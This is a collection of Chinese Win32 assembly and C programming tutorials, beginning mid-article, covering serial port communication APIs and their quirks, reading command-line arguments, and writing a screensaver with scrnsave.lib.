  7. 结束时关闭端口 -- 停止 WaitCommEvent 的等待以及关闭端口 CloseHandle

    平时程序会停留在 WaitCommEvent 的等待中，当要终止线程的时候，必须是程序从 WaitCommEvent 中退出来，这时候要用

    按照 Win32 手册上的说明，参数为 NULL 的 SetCommMask 会使另一个线程中的 WaitCommEvent 马上返回，然后就是用 CloseHandle 关闭端口
    invoke CloseHandle,hCom

5 Win32 通讯 API Bug 之二--- SetCommMask 和 WaitCommEvent

严格的说这不应该是 Bug，而是偶然的情况，我发现有些时候我的读线程无法结束，跟踪发现是停在了 WaitCommEvent 上，这说明有时候 invoke SetCommMask,hCom,NULL 并不能使 WaitCommEvent 退出，我最后使用的办法是： 在 SetCommMask 以后再执行 invoke SetEvent,stReadState.hEvent，把读的 OVERLAPPED 结构中的 Event 置位，让 WaitCommEvent 认为有 Event 发生，它就会马上返回，也许这并不是普遍的情况，但如果你的程序也是停在了 WaitCommEvent 的地方，不妨一试。

6 如何编写读线程中的循环

按照《Serial communications in Microsoft Win32》一文中的例程，读循环可以用：

#define READ_TIMEOUT 500 // milliseconds

DWORD dwRes;
DWORD dwRead;
BOOL fWaitingOnRead = FALSE;
OVERLAPPED osReader = {0};

// Create the overlapped event. Must be closed before exiting
// to avoid a handle leak.
osReader.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

if (osReader.hEvent == NULL)
// Error creating overlapped event; abort.

if (!fWaitingOnRead) {
// Issue read operation.
if (!ReadFile(hComm, lpBuf, READ_BUF_SIZE, &dwRead, &osReader)) {
if (GetLastError() != ERROR_IO_PENDING) // read not delayed?
// Error in communications; report it.
else
fWaitingOnRead = TRUE;
}
else {
// read completed immediately
HandleASuccessfulRead(lpBuf, dwRead);
}
}

if (fWaitingOnRead) {
dwRes = WaitForSingleObject(osReader.hEvent, READ_TIMEOUT);
switch(dwRes)
{
// Read completed.
case WAIT_OBJECT_0:
if (!GetOverlappedResult(hComm, &osReader, &dwRead, FALSE))
// Error in communications; report it.
else
// Read completed successfully.
HandleASuccessfulRead(lpBuf, dwRead);

// Reset flag so that another opertion can be issued.
fWaitingOnRead = FALSE;
break;

case WAIT_TIMEOUT:
// Operation isn't complete yet. fWaitingOnRead flag isn't
// changed since I'll loop back around, and I don't want
// to issue another read until the first one finishes.
//
// This is a good time to do some background work.
break;

default:
// Error in the WaitForSingleObject; abort.
// This indicates a problem with the OVERLAPPED structure's
// event handle.
break;
}
}

这一段程序在 98 下正常，但非常不幸的是在 Win2000 下，ReadFile 总是返回读正确，并不返回 ERROR_IO_PENDING，使下面的 WaitForSingleObject 的循环形同虚设，要命的是，ReadFile 返回读正确却每次只读一个字节，结果程序工作得很奇怪，即使缓冲区中有很多的字符，程序也每次只能读一个字符，要等到发送字符或做其他的操作使线路状态改变了，才能读下一个字符，我不知道这个奇怪的现象是如何发生的，反正我解决的办法是在 ReadFile 前加 WaitCommEvent，真正等到 EV_RXCHAR 以后才去 ReadFile，到最后，我用的循环是这样的，虽然没有一篇文章中的例子是这样的，但它却同时在 windows9x 和 windows2000 下工作得很好：

.while dwFlag & IF_CONNECT
;********************************************************************
; 检测其它的通信事件
; 如果检测到且定义了 lpProcessEvent 则调用 lpProcessEvent
;********************************************************************
invoke WaitCommEvent,hCom,addr @dwEvent,NULL ;addr stReadState
push eax
invoke ClearCommError,hCom,addr @dwError,addr @stComStat
pop eax
.if eax == 0
invoke GetLastError
.if eax == ERROR_IO_PENDING
or dwFlag,IF_WAITING
.endif
.else
;这里是线路状态的处理
.endif
;********************************************************************
; 如果没有在等待异步读的过程中，则读端口
;********************************************************************
.if ! (dwFlag & IF_WAITING)
mov @dwBytesRead,0
invoke ReadFile,hCom,addr @szBuffer,sizeof @szBuffer,\
addr @dwBytesRead,addr stReadState
.if eax == FALSE
or dwFlag,IF_WAITING
invoke GetLastError
.if eax != ERROR_IO_PENDING
;这里是错误处理
.endif
.else
and dwFlag,not IF_WAITING
mov eax,@dwBytesRead
.if eax != 0
;这里是接收到的数据处理
.endif
.endif
.endif
;********************************************************************
; 如果在异步读端口中，则等待一段时间
;********************************************************************
.if dwFlag & IF_WAITING
invoke WaitForSingleObject,stReadState.hEvent,200
.if eax == WAIT_OBJECT_0
and dwFlag,not IF_WAITING
invoke GetOverlappedResult,hCom,addr stReadState,\
addr @dwBytesRead,FALSE
.if eax != 0
mov eax,@dwBytesRead
.if eax != 0
;这里是接收到的数据处理
.endif
.else
;这里是错误处理
invoke ClearCommError,hCom,addr @dwError,addr @stComStat
.endif
.else
;这里是错误处理
.endif
.endif
.endw

7 流控制的问题

在流控制方式为“无”和“软件控制”的情况下，基本上没有什么问题，但在“硬件控制”下，win32 手册中说明 RTS_CONTROL_HANDSHAKE 控制方式的含义是：

Enables RTS handshaking. The driver raises the RTS line when the "type-ahead" (input) buffer is less than one-half full and lowers the RTS line when the buffer is more than three-quarters full. If handshaking is enabled, it is an error for the application to adjust the line by using the EscapeCommFunction function.

也就是说，当缓冲区快满的时候 RTS 会自动 OFF 通知对方暂停发送，当缓冲区重新空出来的时候， RTS 会自动 ON，但我发现当 RTS 变 OFF 以后即使你已经清空了缓冲区， RTS 也不会自动的 ON，造成对方停在那里不发送了，所以，如果要用硬件流控制的话，还要在接收后最好加上检测缓冲区大小的判断，具体是使用 ClearCommError 后返回的 COMSTAT.cbInQue，当缓冲区已经空出来的时候，要使用 invoke EscapeCommFunction,hCom,SETRTS 重新将 RTS 设置为 ON。

以上是我在串行通讯编程中发现的实际问题，如果有和实际不符的地方或者别的问题，欢迎到编程论坛探讨。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Win32 Serial Port 编程

在 Win32 下 Serial Port 的通訊

以下的東西是我在閱讀 "Communications Programming for Windows 95" 時做的一點筆記, 所以在 topic 上大致上都和這書上的第三章一樣. 一些 structure 和 API 的宣告都是 copy from VC 5.0 的 on-line help.

這些東西主要談的是如何在 Win32 的平台下對 serial port 的通訊. 可能可以帶來幫助的是那些了解 serial port 的通訊, 但是不清楚在 Win32 平台究竟有那些 API 可用的 programer (就像我? :p) 我只是做做整理罷了, 更清楚的內容可能要再翻翻 on-line help 或是書本. 如果你要嘗試在 Win32 下做像是對 modem 做控制(例如撥號, 通訊)的程式, 但是對於 serial port 並不了解, 那你應該再去找一本有講到這些東西的書看看.

開啟一個 Serial Port

利用一般開啟檔案的 CreatFile() 即可開啟 serial port device

HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, // access (read-write) mode
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes
DWORD dwCreationDistribution, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy
);
  • 用 CreateFile() API.
  • lpFileName 為 "COM1" 或是 "COM2"
  • dwDersiredAccess 一般為 GENERIC_READ|GENERIC_WRITE
  • dwShareMode "必須"為 0, 即不能共享, 但同一個 process 中的不同 thread 在一開啟之後就可以共享.
  • lpSecurityAttributes 一般為 NULL
  • dwCreateionDistributon 在這裡"必須"為 OPEN_EXISTING
  • dwFlagsAndAttributes 定義了開啟的屬性, 若是設成 FILE_FLAG_OVERLAPPED 則可使用非同步的 I/O.
  • hTemplateFile "必須"為 NULL
  • 傳回檔案 handle
設定 Serial Port 傳送及接收緩衝區的大小

在開啟完 serial port 之後, 可以藉由呼叫 SetupComm() 來進行配置傳送時的緩衝區及接收時的緩衝區. 如果沒有呼叫 SetupComm() 的話, Win95 會配置內定的緩衝區.

BOOL SetupComm(
HANDLE hFile, // handle of communications device
DWORD dwInQueue, // size of input buffer
DWORD dwOutQueue // size of output buffer
);
關閉 Serial Port file

利用一般的 CloseHandle() 即可.

BOOL CloseHandle(
HANDLE hObject // handle to object to close
)
取得 Seial Port 的資訊

在 Win32 裡頭, 將一些通訊時會用到的資訊用 COMMPROP 這個結構來表示. (當然不僅僅是 Serial Port) 可以用 GetCommProperties() 來取得:

BOOL GetCommProperties(
HANDLE hFile, // handle of communications device
LPCOMMPROP lpCommProp // address of communications properties structure
);

COMMPROP 長的像這個樣子:

typedef struct _COMMPROP { // cmmp
    WORD  wPacketLength;       // packet size, in bytes
    WORD  wPacketVersion;      // packet version
    DWORD dwServiceMask;       // services implemented
    DWORD dwReserved1;         // reserved
    DWORD dwMaxTxQueue;        // max Tx bufsize, in bytes
    DWORD dwMaxRxQueue;        // max Rx bufsize, in bytes
    DWORD dwMaxBaud;           // max baud rate, in bps
    DWORD dwProvSubType;       // specific provider type
    DWORD dwProvCapabilities;  // capabilities supported
    DWORD dwSettableParams;    // changable parameters
    DWORD dwSettableBaud;      // allowable baud rates
    WORD  wSettableData;       // allowable byte sizes
    WORD  wSettableStopParity; // stop bits/parity allowed
    DWORD dwCurrentTxQueue;    // Tx buffer size, in bytes
    DWORD dwCurrentRxQueue;    // Rx buffer size, in bytes
    DWORD dwProvSpec1;         // provider-specific data
    DWORD dwProvSpec2;         // provider-specific data
    WCHAR wcProvChar[1];       // provider-specific data
} COMMPROP;

在這裡, lpCommProp 需要 programmer 自行配置空間. 有趣的問題是, 系統在這個結構之後會需要額外的空間. 但是配置者也就是 programmer 卻不知道系統會需要多少. 很簡單的做法是配置一大塊絕對會夠的空間. 另一個聰明的做法是執行兩次 GetCommProperties() , 第一次只配置 sizeof(COMMPROP) 這麼大的空間, 因為還沒有開始執行一些動作, 所以系統並不會嘗試著在後面填東西, 所以不會出問題. 接著執行第一次的 GetCommProperties(), 得到結果, 取出結構中的 wPacketLength, 這個 member 代表實際上需要的大小, 然後依據這個大小重新配置一個新的. 這樣的話 , 就不會有浪費任何空間的問題了.

至於上述 COMMPROP 結構的成員所代表的意思, on-line help 中應該寫的都滿清楚的 .

設定及取得通訊狀態

你可以利用 COMMPROP 來取得一些狀態, 但是當你想改變目前的設定時你需要兩個 API 來完成:

BOOL GetCommState(
HANDLE hFile, // handle of communications device
LPDCB lpDCB // address of device-control block structure
);

BOOL SetCommState(
HANDLE hFile, // handle of communications device
LPDCB lpDCB // address of device-control block structure
);

你可以用 GetCommState() 來取得目前 Serial Port 的狀態, 也可以用 SetCommState() 來設定 Serial Port 的狀態.

DCB 的結構就請自行翻閱 help 囉.

另外, programmer 最常控制的幾個設定就是 baud rate, parity method, data bits, 還有 stop bit. BuildCommDCB() 提供了對於這幾個常見設定的控制.

BOOL BuildCommDCB(
LPCTSTR lpDef, // pointer to device-control string
LPDCB lpDCB // pointer to device-control block
);

lpDef 長的像這樣: "baud=2400 parity=N data=8 stop=1"

通訊設定對話盒

Win32 API 中提供了一個開啟通訊設定對話盒的 API: CommConfigDialog(), 當呼叫這個 API 時, 會蹦現一個可供設定 Baud Rate, Data Bits, Parity .. 等資訊的對話盒, programmer 可以利用它來讓使用者設定一些資訊, 並且取得結果.

BOOL CommConfigDialog(
LPTSTR lpszName, // pointer to device name string
HWND hWnd, // handle to window
LPCOMMCONFIG lpCC // pointer to comm. configuration structure
);

其中 lpCC 被用來存放設定值的結果.

typedef struct _COMM_CONFIG {
    DWORD dwSize;
    WORD  wVersion;
    WORD  wReserved;
    DCB   dcb;
    DWORD dwProviderSubType;
    DWORD dwProviderOffset;
    DWORD dwProviderSize;
    WCHAR wcProviderData[1];
} COMMCONFIG, *LPCOMMCONFIG;

在我們呼叫 CommConfigDialog() 之前, dwSize 要設為 sizeof(COMMCONFIG), wVersion 的值在這邊似乎不重要(我不清楚, VC5 的 on-line help 說可以設為 1, 我手中的 book 的範例是設為 0x100), 呼叫完 CommConfigDialog() 之後, 成員 dcb 中的 BaudRate, ByteSize, StopBits, Parity 就是使用者的設定.

Timeout 的機制

因為傳輸時並不會維持一個絕對穩定的速率. 因為傳輸品質的關係, programer 會需要 timeout 的機制來協助他們做一些控制. 在 Win32 通訊 Timeout 的機制中, timeout 的性質共分為兩類, 先來看看 COMMTIMEOUTS 這個結構:

typedef struct _COMMTIMEOUTS {   // ctmo
    DWORD ReadIntervalTimeout;

    DWORD ReadTotalTimeoutMultiplier;
    DWORD ReadTotalTimeoutConstant;
    DWORD WriteTotalTimeoutMultiplier;
    DWORD WriteTotalTimeoutConstant;
} COMMTIMEOUTS,*LPCOMMTIMEOUTS;

programmer 可以利用 GetCommTimeouts() 和 SetCommTimeouts() 來讀取或是設定目前的 timeout 值.

BOOL GetCommTimeouts(
HANDLE hFile, // handle of communications device
LPCOMMTIMEOUTS lpCommTimeouts // address of comm. time-outs structure
);

BOOL SetCommTimeouts(
HANDLE hFile, // handle of communications device
LPCOMMTIMEOUTS lpCommTimeouts // address of communications time-out structure
);

第一種 timeout 的機制稱為 interval timeout, 從字面上的意義很容易可以理解這種 timeout 的機制是讀取字元之間的間隔時間的 timeout, 只有讀取字元時才能夠使用interval timeout. 也就是在這個結構中的 ReadIntervalTimeout, 單位為 ms, 當讀取完一個字元後, 超過了 ReadIntervalTimeout 的值, 卻還沒有讀到下一個字元時, timeout 就發生了.

第二種 timeout 的機制稱為 total timeout, 顧名思義即是傳輸的總時間的 timeout . 在這種 timeout 的機制下, Win32 提供了一個具有彈性的方式來設定 total timeout. 以讀取的 total timeout 為例, 利用 ReadTotalTimeoutMultiplier 和 ReadTotalTimeoutConstant 構成了一個線性的上限值. 什麼意思呢? 實際上的 total timeout 應該是這樣的一個式子:

ReadTotalTimeout = ReadTotalTimeOutMultiplier*BytesToRead+ReadTotalTimeoutConstant

WriteTotalTimeout 用同樣的公式來計算. 這樣的話, 不僅可以用一個固定的值來做為 timeout 值, 也可以用條線來做為 timeout 的值, 而隨著要讀取或是要寫的 bytes 數而變動.

如果不想使用 timeout, 就把 COMMTIMEOUTS 裡頭的資料成員都填為 0.

如果你將 ReadIntervalTimeout 設為 MAXDWORD, 且將 ReadTotalTimeOutMultiplier 和 ReadTotalTimeoutConstant 都設為 0 的話, 那麼讀取時, 如果 receive queue 裡頭並沒有資料, 讀取的動作將會馬上返回, 而不會停滯在讀取的動作.

這裡有一個和 BuildCommDCB() 很像的 API 叫 BuildCommDCBAndTimeouts():

BOOL BuildCommDCBAndTimeouts(
LPCTSTR lpDef, // pointer to the device-control string
LPDCB lpDCB, // pointer to the device-control block
LPCOMMTIMEOUTS lpCommTimeouts // pointer to comm. time-out structure
);

lpDef 一樣是控制字串, 可以給像 BuildCommDCB() 中的 lpDef 那樣格式的字串, 但是多了 "TO=XXX" 這個設定. 如果 "TO=ON", 這個 API 會依據 lpCommTimeouts 裡頭的值來設定讀和寫的 timeout 值. 如果 "TO=OFF", 則會設定這個 device 沒有 timeout. 如果是 "ON" 和 "OFF" 之外的其它值, 則 lpCommTimeouts 的設定將會被忽略.

對了, 在設定完 timeout 值之後, 記得要檢查 COMMPROP 裡的 dwProvCapabilities 中的 PCF_INTTIMEOUTS 和 PCF_TOTALTIMEOUTS 兩個 flags 是否有被 set, 以確認 interval timeout 和 total timeout 是否有支援.

讀取資料

從 serial port 裡頭讀取資料就跟讀取一般的檔案一樣, 使用 ReadFile() 來達成.

BOOL ReadFile(
HANDLE hFile, // handle of file to read
LPVOID lpBuffer, // address of buffer that receives data
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // address of number of bytes read
LPOVERLAPPED lpOverlapped // address of structure for data
);

要注意的是, nNumberOfBytesToRead 設定的是一次最多的讀取量, 很有可能所讀取的值(檢查 lpNumberOfBytesRead)小於這個值. 通常在錯誤發生或是 timeout 發生時這個 API 就會返回.

PurgeComm() 這個 API 可以用來終止目前正在進行的讀或寫的動作, 也可以 flush 掉 I/O buffer 內等待讀或寫的資料.

BOOL PurgeComm(
HANDLE hFile, // handle of communications resource
DWORD dwFlags // action to perform
);

其中 dwFlags 共有四種 flags:

  • PURGE_TXABORT: 終止目前正在進行的(背景)寫入動作
  • PURGE_RXABORT: 終正目前正在進行的(背景)讀取動作
  • PURGE_TXCLEAR: flush 寫入的 buffer
  • PURGE_TXCLEAR: flush 讀取的 buffer

而使用 FlushFileBuffers() 可以確保所有的資料都被送出, 這個 API 才會返回.

另外一個有趣的 API 是 ClearCommError(), 從字面上的意思看來, 它是用來清除錯誤情況用的, 但是實際上它還可以拿來取得目前通訊設備的一些資訊.

BOOL ClearCommError(
HANDLE hFile, // handle to communications device
LPDWORD lpErrors, // pointer to variable to receive error codes
LPCOMSTAT lpStat // pointer to buffer for communications status
);

呼叫這個 API 之後, 關於通訊設備的一些資訊會被儲存在 lpStat 中, COMSTAT 的結構如下:

typedef struct _COMSTAT { // cst
    DWORD fCtsHold : 1;   // Tx waiting for CTS signal
    DWORD fDsrHold : 1;   // Tx waiting for DSR signal
    DWORD fRlsdHold : 1;  // Tx waiting for RLSD signal
    DWORD fXoffHold : 1;  // Tx waiting, XOFF char rec'd
    DWORD fXoffSent : 1;  // Tx waiting, XOFF char sent
    DWORD fEof : 1;       // EOF character sent
    DWORD fTxim : 1;      // character waiting for Tx
    DWORD fReserved : 25; // reserved
    DWORD cbInQue;        // bytes in input buffer
    DWORD cbOutQue;       // bytes in output buffer
} COMSTAT, *LPCOMSTAT

藉由 fCtsHold, fDsrHold, fRlsdHold, fXoffHold, fXoffSent 可以知道目前因為什麼因素而使通訊阻礙住了.( 跟 handshaking 和 flow control 有關) cbInque 和 cbOutQue 則可以顯示出還有多少 bytes 在讀取或是寫入 queue 中.

寫入資料

和讀取資料一樣, programmer 可以使用 WriteFile() 來將資料寫入 serial port.

BOOL WriteFile(
HANDLE hFile, // handle to file to write to
LPCVOID lpBuffer, // pointer to data to write to file
DWORD nNumberOfBytesToWrite, // number of bytes to write
LPDWORD lpNumberOfBytesWritten, // pointer to number of bytes written
LPOVERLAPPED lpOverlapped // pointer to structure needed for overlapped I/O
);

關於通訊設備的寫入有三個很有趣的 API, 它們分別是 SetCommBreak(), ClearCommBreak, 和 TransmitCommChar().

BOOL SetCommBreak(
HANDLE hFile // handle of communications device
);

BOOL ClearCommBreak(
HANDLE hFile // handle to communications device
);

BOOL TransmitCommChar(
HANDLE hFile, // handle of communications device
char cChar // character to transmit
);

SetCommBreak() 是用來暫停目前的傳輸作業, 它會使 buffer 中的資料都不再被送出, 這個時候, program 可以去做些雜七雜八的事, 之後, 再利用 ClearCommBreak() 回復傳輸作業.

TransmitCommChar() 是用來立即性的趕在所有 buffer 資料被送出去之前, 傳輸一個字元的資料出去, 即使 buffer 中還有資料. 換句話說, 這個字元有最高的優先權被送出去.

事件驅動式的 I/O

在 Win32 裡頭, 對於通訊設備的 I/O 可以用像是事件驅動式的方法來達成. 主要是利用一個叫 WaitCommEvent() 的 API. 呼叫這個 API 之後, 會一直 block 到設定的事件發生之後才會返回. 我們先來看看如何設定事件, 再回過頭來看 WaitCommEvent() .

programer 可以用 GetCommMask() 和 SetCommMask() 來取得或是設定目前設定的通訊事件.

BOOL GetCommMask(
HANDLE hFile, // handle of communications device
LPDWORD lpEvtMask // address of variable to get event mask
);

BOOL SetCommMask(
HANDLE hFile, // handle of communications device
DWORD dwEvtMask // mask that identifies enabled events
);

可以設定的事件有 EV_BREAK, EV_CTS, EV_DSR, EV_ERR, EV_RING, EV_RLSD, EV_RXCHAR, EV_RXFLAG, EV_TXEMPTY.(其意義請自行參考 help), 當然, 你可以把它們 or 起來成為組合的事件.

在設定完想要處理的事件之後, 可以使用 WaitCommEvent()

BOOL WaitCommEvent(
HANDLE hFile, // handle of communications device
LPDWORD lpEvtMask, // address of variable for event that occurred
LPOVERLAPPED lpOverlapped, // address of overlapped structure
);

WaitCommEvent() 會一直 block 到你所設定的通訊事件發生為止. 所以當 WaitCommEvent() 返回時, 你可以由 lpEvtMask 取得究竟是那一事件發生, 再來決定要如何處理.

舉例來說, 可以用 SetCommMask() 設定事件為 EV_RXCHAR, 那麼在呼叫 WaitCommEvent() 時, 它會等到有字元可供讀取時才會返回, 那麼在它返回之後, 可以檢查一下 lpEvtMask 中是否 set 了 EV_RXCHAR, 如果是的話就可以用 ReadFile() 去讀取. 這樣的話, 可以避免掉某些情形之下, 需要做 polling 所引起效率不彰的問題.

錯誤的處理

前面提過的 ClearnCommError() 可以用來取得目前發生錯誤的原因.(請參見 help)

硬體的控制命令

Win32 中提供了 EscapeCommFunction() 允許 programer 對幾個硬體訊號做控制.

BOOL EscapeCommFunction(
HANDLE hFile, // handle to communications device
DWORD dwFunc // extended function to perform
);

其中 dwFunc 可以是:

  • CLRDTR : 讓 DTR OFF
  • CLRRTS : 讓 RTS OFF
  • SETDTR : 讓 DTR ON
  • SETRTS : 讓 RTS ON
  • SETXOFF : "模擬" 接收到 XOFF 字元
  • SETXON : "模擬" 接收到 XON 字元
  • SETBREAK : 和 SetCommBreak() 的意思相同
  • CLRBREAK : 和 ClearCommBreak() 的意思相同
Reference

[1]Charles A. Mirho and Andre Terrisse, "Communications Programming for Windows 95" , Microsoft Press

From LuoYunBin's Win32 ASM Page，http://asm.yeah.net


获取命令行参数

Win32程序的命令行参数

在 Dos 汇编中，psp 段的 0080H 开始的位置就是命令行参数，在 Win32汇编中，我们获得命令行参数的方法是使用 Api - GetCommandLine，它没有输入参数，返回的是指向命令行的指针，返回的字符串中，包含执行文件的文件名。这里是一个简单的例子（下载例子）：

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

include		windows.inc
include		kernel32.inc
include		user32.inc

includelib	kernel32.lib
includelib	user32.lib

        .data

szCaption	db	'命令行参数测试',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

start:
        invoke	GetCommandLine
        invoke	MessageBox,NULL,eax,addr szCaption,MB_OK
        invoke	ExitProcess,NULL

        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


用汇编编写屏幕保护程序

屏幕保护程序是什么，相信大家都用过，但对于它的结构也许就不那么熟悉了。屏幕保护程序是一种特使的 .exe 文件，实际上它是一个标准的 PE 文件，除了有扩展名 .scr，当然这个扩展名也是用连接程序产生的 .exe 文件改名得到的。但在编程中，屏幕保护程序又有它的特殊的地方，说穿了就是它的编程规范。

屏幕保护程序有以下特点：

  1. 屏幕保护程序是Win32 API 支持一种特殊的应用程序并由系统自动激活。其机制是当条件满足时，系统向当前活动窗口发出字参数 wParam 值为 SC_SCREENSAVE 的 WM_SYSCOMMAND 消息，然后由当前活动窗口执行 SYSTEM.INI 文件中 [boot] 区指定的屏幕保护程序。
  2. 屏幕保护程序激活的条件是：在规定时间内没有鼠标或键盘输入、当前的活动窗口是标准的 WINDOWS 应用程序。因为非 WINDOWS 应用，不会理睬 WM_SYSCOMMAND 消息。显然，如果当前活动的程序接管了字参数 wParam 值为 SC_SCREENSAVE 的 WM_SYSCOMMAND 消息并且不传递到 DefWindowProc 函数就可以禁止屏幕保护程序。这对某些运行中不愿意被打断的程序如视频播放，光盘刻录程序特别有用。
  3. 可以在控制面板的显示器中选择需要的屏幕保护程序，并可以配置屏幕保护程序的参数。配置的对话框由屏幕保护程序提供。

下面是编写屏幕保护程序的要点：

  1. 屏幕保护程序的编写由静态链接库 SCRNSAVE.LIB 支持，它包含了建立屏幕保护程序的主程序和缺省功能，如建立一个缺省的大小为全屏幕的窗口供用户使用，并提供缺省的消息处理程序，它对下面消息的缺省处理是：

    WM_SETCURSOR -- 将光标设置为无
    WM_PAINT -- 画屏幕背景
    WM_LBUTTONDOWN、WM_MBUTTONDOWN、WM_RBUTTONDOWN、WM_KEYDOWN、WM_MOUSEMOVE -- 终止执行
    WM_ACTIVATE -- 如果 wParam 是 FALSE，则终止执行

  2. 程序的入口代码已经包括在 scrnsave.lib 中，名称为 WinMain，所以程序尾包括 end WinMain 即可。
  3. 用户只需编写三个基本函数必须名为 ScreenSaverConfigureDialog、ScreenSaverProc 和 RegisterDialogClasses，这 3 个函数必须在.DEF 文件中指定 export

    ScreenSaverProc - 主过程，也就是自动建立的主窗口的窗口过程，所有对屏幕的处理就是由它完成的。可以把未处理的消息传递到 DefScreenSaverProc函数，由系统处理上面说到的缺省处理。缺省 DefScreenSaverProc 过程处理 WM_LBUTTONDOWN、WM_MBUTTONDOWN ; WM_RBUTTONDOWN、WM_KEYDOWN、WM_MOUSEMOVE 消息并结束程序，如果在这些消息时不想退出，可以自行处理，不要传递到 DefScreenSaverProc。

    ScreenSaverConfigureDialog - 处理屏幕保护程序配置对话框过程，这个过程并不是由主程序调用的，而是由控制面板的显示器设置程序调用。用户输入的配置数据应该输出到.INI 或注册表中。

    RegisterDialogClasses - 登记屏幕保护程序配置对话框的窗口类，如果使用标准的对话框，可以简单地返回 TRUE。

  4. 在 ScreenSaverProc 窗口过程中，有个专用消息 WM_ERASEBKGND -- 可以在这时擦除背景，如果把这个消息传到 DefScreenSaverProc，会得到一个全黑的背景。
  5. 使用时必须将编译完成的 .exe 文件改名为 .scr 文件，然后拷贝到 Windows 或 Windows\System 目录下。
  6. 为使控制面板能够识别，屏幕保护程序的图标（ICON）在资源文件中必须定义为 100，资源文件中必须包含一描述字符串。该字符串用于控制面板显示屏幕保护程序的名字。它必须位于字符串表的首位，ID 为 100。资源文件中屏幕保护程序配置对话框的 ID 必须为2003。

综上所述，屏幕保护程序的两个部分即窗口过程和设置对话框过程是在不同的地方被执行的，所以在编程中要注意不要在两个过程中传递变量，这就意味着屏幕保护程序的设置要被输出到 .ini 或注册表中保存，在窗口过程中的 WM_CREATE 消息中再读入，因为你无法把它保留在内存中。同样窗口过程和设置对话框过程中的变量或资源的初始化也要分别进行，比如说两者都要用到同一个图片，那就在自己的 WM_CREATE 消息中分别 LoadBitmap，总之要时刻认为你是在编写两个“独立的程序”。

下面是一个屏幕保护程序的资源定义例子：

#include	<resource.h>

#define	ICO_MAIN		100
#define	DLG_SETUP		2003

ICO_MAIN	ICON		"Resource\Main.ico"

DLG_SETUP	DIALOG DISCARDABLE  0, 0, 300, 120
STYLE		DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION		"屏幕保护程序"
FONT		9, "宋体"
BEGIN
    ...
    ...
    DEFPUSHBUTTON   "确定(&O)",		IDOK,		240,10,50,14
    PUSHBUTTON      "取消(&C)",		IDCANCEL,	240,29,50,14
END

STRINGTABLE	DISCARDABLE
BEGIN
    100	"保护程序"
END

.def 文件例子：

EXPORTS
ScreenSaverProc
ScreenSaverConfigureDialog
RegisterDialogClasses

源代码例子：

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	屏幕保护程序模板
;	Ver 1.0 - 2000.07.15
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc
include		advapi32.inc
include		shell32.inc
include		scrnsave.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib
includelib	advapi32.lib
includelib	shell32.lib
includelib	scrnsave.lib
includelib	msvcrt.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN	equ		100	;Must be 100
DLG_SETUP	equ		2003	;Must be 2003

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hInstance	dd		?
hWinMain	dd		?

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 设置对话框过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ScreenSaverConfigureDialog	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,wMsg
;********************************************************************
        .elseif	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
;********************************************************************
        .elseif	eax == WM_COMMAND
            mov	eax,wParam
            .if	eax ==	IDOK
                ...
                在此保存设置
                ...
                invoke	EndDialog,hWnd,NULL
            .elseif eax ==	IDCANCEL
                invoke	EndDialog,hWnd,NULL
            .endif
        .else
            mov	eax,FALSE
            ret
        .endif
